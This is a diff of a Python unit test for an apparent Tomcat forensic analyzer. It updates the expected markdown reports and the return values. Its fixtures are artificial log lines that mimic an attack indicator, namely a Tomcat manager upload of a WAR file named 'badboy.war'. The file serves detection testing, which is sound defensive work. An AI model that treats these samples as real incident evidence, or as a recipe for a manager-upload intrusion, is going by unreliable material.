+* Tomcat App Deployed: 21-Mar-2017 19:21:08.140 INFO [localhost-startStop-2] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\MyAwesomeApp.war
+* Tomcat App Deployed: 10-Sep-2012 11:41:12.283 INFO [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive /opt/apache-tomcat-8.0.32/webapps/badboy.war"""
 
   # pylint: disable=line-too-long
   TOMCAT_ACCESS_LOG = """1.2.3.4 - - [12/Apr/2018:14:01:08 -0100] "GET /manager/html HTTP/1.1" 401 2001
@@ -53,21 +55,24 @@ Tomcat App Deployed: 10-Sep-2012 11:41:12.283 INFO [localhost-startStop-1] org.a
 1.2.3.4 - admin [12/Apr/2018:14:01:39 -0100] "POST /manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=1ABCDEFGKLMONPQRSTIRQKD240384739 HTTP/1.1" 200 27809"""
 
   # pylint: disable=line-too-long
-  TOMCAT_ACCESS_LOG_REPORT = """Tomcat found (1 hits):
-Tomcat Management: 1.2.3.4 - admin [12/Apr/2018:14:01:39 -0100] "POST /manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=1ABCDEFGKLMONPQRSTIRQKD240384739 HTTP/1.1" 200 27809"""
+  TOMCAT_ACCESS_LOG_REPORT = """#### **Tomcat analysis found 1 results**
+* Tomcat Management: 1.2.3.4 - admin [12/Apr/2018:14:01:39 -0100] "POST /manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=1ABCDEFGKLMONPQRSTIRQKD240384739 HTTP/1.1" 200 27809"""
 
   def test_analyse_tomcat_file(self):
     """Tests the analyze_tomcat_file method."""
     config.LoadConfig()
     task = tomcat.TomcatAnalysisTask()
 
-    report = task.analyse_tomcat_file(self.TOMCAT_PASSWORD_FILE)
+    (report, priority, summary) = task.analyse_tomcat_file(
+        self.TOMCAT_PASSWORD_FILE)
     self.assertEqual(report, self.TOMCAT_PASSWORD_FILE_REPORT)
+    self.assertEqual(priority, 20)
+    self.assertEqual(summary, self.TOMCAT_PASSWORD_FILE_REPORT_SUMMARY)
 
-    report = task.analyse_tomcat_file(self.TOMCAT_APP_DEPLOY_LOG)
+    report = task.analyse_tomcat_file(self.TOMCAT_APP_DEPLOY_LOG)[0]
     self.assertEqual(report, self.TOMCAT_APP_DEPLOY_LOG_REPORT)
 
-    report = task.analyse_tomcat_file(self.TOMCAT_ACCESS_LOG)
+    report = task.analyse_tomcat_file(self.TOMCAT_ACCESS_LOG)[0]
     self.assertEqual(report, self.TOMCAT_ACCESS_LOG_REPORT)